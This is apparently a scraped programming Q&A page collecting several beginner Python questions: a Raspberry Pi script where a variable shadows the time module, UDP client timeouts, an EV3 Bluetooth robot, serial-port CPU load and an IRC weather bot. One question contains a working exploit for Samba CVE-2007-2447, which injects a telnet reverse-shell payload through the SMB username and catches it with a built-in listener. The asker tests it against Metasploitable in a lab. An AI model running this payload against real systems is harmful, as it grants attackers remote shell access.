time.sleep(1) error -- python on Raspberry Pi - python

I have:
time.sleep(1)
in my python twice.
However on the second time the script crashes saying:
Traceback (most recent call last):
File "ON-BOOT.py", line 36, in <module>
time.sleep(1)
AttributeError: 'int' object has no attribute 'sleep'
Idk whats wrong with it.
Here is the full script (it runs at boot on my Raspberry Pi)
#!/usr/bin/python3
import socket
import os
import smtplib
import time
import RPi.GPIO as gpio
print "ON-BOOT running..."
time.sleep(1)
gpio.setmode(gpio.BOARD)
gpio.setup(7,gpio.IN)
bi = 0
time = 0
selectAction = "false"
os.system("omxplayer -o hdmi /var/www/siren1.mp3")
gw = os.popen("ip -4 route show default").read().split()
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((gw[2], 0))
ipaddr = s.getsockname()[0]
gateway = gw[2]
host = socket.gethostname()
print ("IP:", ipaddr, " GW:", gateway, " Host:", host)
fromaddr = 'billyg270#example.com'
toaddrs = 'billyg270#example.com'
msg = "ROBO pie active on port: " + ipaddr
username = 'billyg270#example.com'
password = '**MY PASSWORD**'
server = smtplib.SMTP('smtp.gmail.com:587')
server.ehlo()
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
os.system ("espeak -ven+f3 -k5 -s150 'ROBO pie active on port " + ipaddr + "'")
print msg
time.sleep(1)
os.system ("espeak -ven+f3 -k5 -s150 'You now have 5 seconds to press the button if you wish to launch, test1'")
selectAction = "true"
while selectAction == "true":
print "time: " + str(time)
print "selectAction: " + selectAction
time.sleep(0.1)
time += 1
print "bi: " + str(bi)
if(time < 50):
if (gpio.input(buttonPin)):
#button pressed
bi += 1
if(time > 50):
os.system ("espeak -ven+f3 -k5 -s150 'You can no longer press the button'")
selectAction = "false"
if(bi > 0):
os.system ("espeak -ven+f3 -k5 -s150 'You have selected to launch, test1'")
os.system("cd /var/www")
gpio.cleanup()
os.system("sudo python test1.py")
gpio.cleanup()

Line 12 writes over the time module:
time = 0
And when you call time.sleep() the next time, you actually call 1.sleep(1) or something like that.
You have several refactoring options:
from time import sleep
import time as time_module (not too pretty imo)
Or rename your variable, which is the best option I think.

Related

Sending Client Data With a Timer

So I have a simple Client-Server.
They properly connect with command line arguments, send and receiving data.
When the server isn't up and running but the client executes: Attempt to connect, after 1 second display message that it timed out (3 times) before closing.
the closest i can come to it, is simply attempting it 3 times.
import sys
from socket import *
# Get the server hostname, port and data length as command line arguments
argv = sys.argv
host = argv[1]
port = argv[2]
count = argv[3]
# Command line argument is a string, change the port and count into integer
port = int(port)
count = int(count)
data = 'X' * count # Initialize data to be sent
# Create UDP client socket. Note the use of SOCK_DGRAM
clientsocket = socket(AF_INET, SOCK_DGRAM)
# Sending data to server
# times out after 1 second (?)
for i in range(3):
try:
print("Sending data to " + host + ", " + str(port) + ": " + data)
clientsocket.sendto(data.encode(),(host, port))
# Receive the server response
dataEcho, address = clientsocket.recvfrom(count)
# Display the server response as an output
print("Receive data from " + address[0] + ", " + str(address[1]) + ": " + dataEcho.decode())
break
except:
print("timed out")
finally:
#Close the client socket
clientsocket.close()
How would I add a timer to it? Just adding 1 second between each attempt instead of how I coded.
If you just want the program to sleep for x seconds you could import time, and then add time.sleep(num_of_seconds_to_sleep) after your clientsocket.close() line.

Python - Socket Appears to be Failing to Accept Connection

Recently I've been creating a Python implementation of the Metasploit module for CVE2007-2447, I found a basic script online which I took some parts of then decided that I wanted to build the listener into the script so that I wouldn't have to run Netcat alongside the Python script.
import sys
import time
import socket
import threading
from smb.SMBConnection import SMBConnection
def exploit(rHost, rPort, lHost, lPort):
print("[+] " + rHost, rPort, lHost, lPort)
payload = 'sh -c(sleep 4535 | telnet ' + lHost + " " + lPort + ' | while : ; do sh && break; done 2>&1 | telnet ' + lHost + " " + lPort + ' >/dev/null 2>&1 &)'
username = "/=`nohup " + payload + "`"
password = ""
print("[+] " + username + password)
s = SMBConnection(username, password, "", "", use_ntlm_v2 = True)
#try:
s.connect(rHost, int(rPort), timeout=1)
print("[+] Payload sent!")
handler(shell)
#except Exception as e:
# print(e)
# print("[*] Fail!")
def handler(shell):
(conn, address) = shell.accept()
print("[+] Connected to " + address)
commandSender(conn)
conn.close()
def commandSender(conn):
shell_status = True
shell_recv_thread = threading.Thread(target=recvStream, args=(conn, shell_status))
shell_recv_thread.start()
command = ''
while shell_status == True:
command = input()
if command == "exit":
shell_status = False
conn.close()
shell_recv_thread.join()
sys.exit(0)
conn.send(bytes(command + "\n", "utf-8"))
def recvStream(conn, addr, status):
status = True
while status == True:
try:
print(conn.recv(1024))
except conn.timeout:
pass
except Exception as e:
print(e)
print("[*] Failed Shell Interaction...")
if __name__ == '__main__':
print("[*] CVE2007-2447")
if len(sys.argv) != 5:
print("[-] usage: <RHOST> <RPORT> <LHOST> <LPORT>")
else:
print("[+] Exectuting...")
shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.bind((sys.argv[3], int(sys.argv[4])))
shell.listen(10)
rHost = sys.argv[1]
rPort = sys.argv[2]
lHost = sys.argv[3]
lPort = sys.argv[4]
exploit(rHost, rPort, lHost, lPort)
As you can see the script for this exploit is fairly simple, due to unsanitized user input an attacker can send commands to the affected device in the username field. I've checked Netstat while I run the script & I can see that my machine is definitely listening on the port I specify for lPort yet for some reason the socket seems to fail to accept the connection. In order to test the code I am running it inside a Ubuntu VM against Metasploitable 2 which is running in a separate VM on the same subnet.

Error on socket.recv (Python)

I got a small python program that communicates with an EV3 robot (lego's robot) via BT. The program sends the EV3 a number 1/2 or 3, the robot makes a predefined movement and send back 'A' to indicate that the movement is done and that it is ready for next command.
The system works great but once in a while the python app crushes with this error message:
'An established connection was aborted by the software in your host machine.' this comes from socket.recv that is called inside btListener() thread.
The relevant python parts:
import bluetooth
from gmail import *
import re
from gtts import gTTS
from time import sleep
import pygame
import serial
import thread
import os
import ftplib
from StringIO import StringIO
from blynkapi import Blynk
def a(): #Send 'a' to 'Status' mailbox
print "Send a to robot"
for i in commandA:
client_sock.send(chr(i))
sleep(1)
def b(): # Send 'b' to 'Status' mailbox
def c(): # Send 'c' to 'Status' mailbox
def clear(): # Send clear array to 'Status' mailbox
for i in clearArray:
client_sock.send(chr(i))
def btListener():
# Listen for end of run reply from the EV3
global ev3Flag, listenFlag
while True:
if listenFlag and (not ev3Flag):
try:
data = client_sock.recv(1024) #Check if EV3 is ready for new command
if data[-2] == 'A':
ev3Flag = True
print "Received 'Ready' from EV3 "
sleep(1)
except Exception as e:
print(e)
print "Failed to read data from socket"
def queueHandler():
# Read next command from QueueArray, call sendFunc and clear the queue
global ev3Flag, listenFlag, queueArray
while True:
if len(queueArray) > 0 and ev3Flag:
sendFunc(queueArray[0])
queueArray.pop(0)
def sendFunc(cmd):
#Send the next command on QueueArray to the EV3
global ev3Flag, listenFlag
if cmd == 1:
try:
ev3Flag = False
listenFlag = False
a()
listenFlag = True
sleep(3)
clear() # clear the EV3 btsocket with a default message
except Exception as e:
print "Error on sendFunc cmd = 1"
print(e)
elif cmd == 2:
try:
except Exception as e:
elif cmd == 3:
try:
except Exception as e:
if __name__ == "__main__":
# Blynk setup
blynk = Blynk(auth_token)
switch1 = Blynk(auth_token, pin = "V0")
switch2 = Blynk(auth_token, pin = "V1")
switch3 = Blynk(auth_token, pin = "V2")
print "Blynk connected"
queueArray = [] # Queue array to hold incoming commands
listenFlag = True # Listen to message from EV3
ev3Flag = True # EV3 ready for new command flag
# BT CONNECTION WITH EV3 #
print "Searching for BT connections: "
nearby_devices = bluetooth.discover_devices()
for bdaddr in nearby_devices:
print bdaddr + " - " + bluetooth.lookup_name(bdaddr)
if target_name == bluetooth.lookup_name(bdaddr):
target_address = bdaddr
break
server_sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
port = 1
server_sock.bind(("", port))
server_sock.listen(1)
client_sock, address = server_sock.accept()
print "Accepted connection from ", address
if target_address is not None:
print "found target bluetooth device with address ", target_address
else:
print "could not find target bluetooth device nearby"
# END BT CONNECTION WITH EV3 #
try:
thread.start_new_thread(queueHandler, ())
except Exception as e: print(e)
try:
thread.start_new_thread(btListener, ())
except Exception as e: print(e)
while True:
res1 = switch1.get_val()
res2 = switch2.get_val()
res3 = switch3.get_val()
if (int)(res1[0]) == 1:
print "Add 1 to queue"
queueArray.append(1)
if (int)(res2[0]) == 1:
print "Add 2 to queue"
queueArray.append(2)
if (int)(res3[0]) == 1:
print "Add 3 to queue"
queueArray.append(3)
Edit 1:
I tested it a bit more and it seems that the crush happens when the program tries to recv data and send data the same time. (via the clear() or a()/b()/c() functions), could that be the situation?
I'm new to sockets so the first solution that comes in mind is create a flag to limit the action of the socket, is there a better/smarter way to keep that from happening?
Edit 2:
I moved the 'listenFlag = True' line inside sendFunc() to after my call to clear() and it seems to solve the problem which was probably due to the python program trying to receive and sand at the same time.
I moved the 'listenFlag = True' line inside sendFunc() to after my call to clear() and it seems to solve the problem which was probably due to the python program trying to receive and sand at the same time.

Python script too much cpu usage

I'm not an expert in programming so i googled a lot to get this script to work. It listens on the serial interface ans is searching for 3 values (temperature, humidity and battery level). If it finds one of zhem it saves it to a text file and checks if the value is above or under a certain level. I f this is the case it sends an e-mail to warn.
My problem is that it uses constatntly about 99% of cpu power...
Can you help me to limit the CPU usage to a minimum.
Thanks
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import serial
import time
import sys
import smtplib
from time import sleep
def mail(kind, how, value, unit):
fromaddr = 'sender#domain.com'
toaddrs = 'recipient#domain.com'
msg = "\r\n".join([
"From: sender",
"To: recipient",
"Subject: Warning",
"",
"The " + str(kind) + " is too " + str(how) + ". It is " + str(value) + str(unit)
])
username = 'user'
password = 'password'
server = smtplib.SMTP('server:port')
server.ehlo()
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
def main():
port = '/dev/ttyAMA0'
baud = 9600
ser = serial.Serial(port=port, baudrate=baud)
sleep(0.2)
while True:
while ser.inWaiting():
# read a single character
char = ser.read()
# check we have the start of a LLAP message
if char == 'a':
# start building the full llap message by adding the 'a' we have
llapMsg = 'a'
# read in the next 11 characters form the serial buffer
# into the llap message
llapMsg += ser.read(11)
if "TMPB" in llapMsg:
TMPB = llapMsg[7:]
with open("TMPB.txt", "w") as text_file:
text_file.write(TMPB)
if float(TMPB) >= 19:
mail("temperature", "high", TMPB, "°C")
elif float(TMPB) <= 15:
mail("temperature", "low", TMPB, "°C")
else:
pass
elif "HUMB" in llapMsg:
HUMB = llapMsg[7:]
with open("HUMB.txt", "w") as text_file:
text_file.write(HUMB)
if float(HUMB) >= 80:
mail("humidity", "high", HUMB, "%")
elif float(HUMB) <= 70:
mail("humidity", "low", HUMB, "%")
else:
pass
elif "BATT" in llapMsg:
BATT = llapMsg[7:11]
with open("BATT.txt", "w") as text_file:
text_file.write(BATT)
if float(BATT) < 1:
mail("battery level", "low", BATT, "V")
else:
pass
sleep(0.2)
if __name__ == "__main__":
main()
I solved the question myself.
The while ser.inWaiting(): loop was causing the heavy cpu load.
I removed it and corrected the indentation and it works great with a few % cpu load.
Thanks for your hints, it helped me solving the problem.

TypeError: 'int' object has no attribute '__getitem__' - Error recieved in IRC weather bot in Python

Okay, so I've got a bit of Python IRC Bot code, and I recently added a weather command to it, but it doesn't seem to work... heres the code
# Import some necessary libraries.
import socket
import time
import httplib
def commands(nick,channel,message):
if message.find('!test')!=-1:
ircsock.send('PRIVMSG %s :%s: test complete\r\n' % (channel,nick))
elif message.find('!help')!=-1:
ircsock.send('PRIVMSG %s :%s: My other command is test.\r\n' % (channel,nick))
elif message.find('!sex')!=-1:
ircsock.send('PRIVMSG %s :%s: But why?\r\n' % (channel,nick))
elif message.find('!quit')!=-1:
ircsock.send('QUIT :For the bones of the weak shall support me\r\n')
die('Quit command given')
elif message.find('!op')!=-1:
ircsock.send('MODE %s +o :%s\n' % (channel,nick))
elif message.find('!deop')!=-1:
ircsock.send('MODE %s -o :%s\n' % (channel,nick))
elif message.find('!weather')!=-1:
tmp = message.find(':!weather')
city = tmp[1].strip()
reqest_str = '/laika_zinas/?city=' + city
c = httplib.HTTPConnection("www.1188.lv")
c.request("GET", reqest_str)
ra = c.getresponse()
datas = ra.read()
temp, wind = tpars(datas)
ircsock.send('PRIVMSG %s :%s: [+] Temp: '+ temp +' C | Wind: '+ wind +' m/s' % (channel,nick))
c.close()
# Some basic variables used to configure the bot
server = "n0cht.bawx.net" # Server
channel = "#python" # Channel
botnick = "PyleDrivr" # Your bots nick
def ping(ircmsg): # This is our first function! It will respond to server Pings.
ircsock.send("PONG "+ ircmsg +"\n")
print("Ping replied\n\r")
def sendmsg(chan , msg): # This is the send message function, it simply sends messages to the channel.
ircsock.send("PRIVMSG "+ chan +" :"+ msg +"\n")
def joinchan(chan): # This function is used to join channels.
ircsock.send("JOIN "+ chan +"\n")
ircsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ircsock.connect((server, 6667)) # Here we connect to the server using the port 6667
ircsock.send("USER "+ botnick +" "+ botnick +" "+ botnick +" :PyleDrivr\n") # user authentication
ircsock.send("NICK "+ botnick +"\n") # here we actually assign the nick to the bot
joinchan(channel) # Join the channel using the functions we previously defined
while 1: # Be careful with these! it might send you to an infinite loop
ircmsg = ircsock.recv(2048) # receive data from the server
ircmsg = ircmsg.strip('\n\r') # removing any unnecessary linebreaks.
print(ircmsg) # Here we print what's coming from the server
if ircmsg.find(' PRIVMSG ')!=-1:
nick=ircmsg.split('!')[0][1:]
channel=ircmsg.split(' PRIVMSG ')[-1].split(' :')[0]
commands(nick,channel,ircmsg)
if ircmsg.find("PING :") != -1: # if the server pings us then we've got to respond!
ping(ircmsg)
Now, when I run the bot, it works just fine, but then this happens when I issue the command:
<wh0r3[mint]> !weather 99654
* PyleDrivr has quit (Client exited)
And here's what the term shows:
:wh0r3[mint]!~wh0r3#n0cht-D1D272D.gci.net PRIVMSG #lobby :!weather 99654
Traceback (most recent call last):
File "pyledrivr.py", line 65, in <module>
commands(nick,channel,ircmsg)
File "pyledrivr.py", line 22, in commands
city = tmp[1].strip()
TypeError: 'int' object has no attribute '__getitem__'
I have no idea what this means or how to fix it. and ideas?
This line:
tmp = message.find(':!weather')
assigns an integer to tmp: the position at which the string ':!weather' was found in message (see find). It may not even be found at all, since you check in the line above that '!weather' is in message, not ':!weather'.
Then you try and access tmp[1]. But tmp is just a number; it doesn't have a [1].
If you want to get the substring of message that follows '!weather', you could do this:
city = message[message.find('!weather')+8:].strip()
(8 being the length of '!weather')
Or you might find it easier to use split:
city = message.split('!weather')[1].strip()

Categories

Resources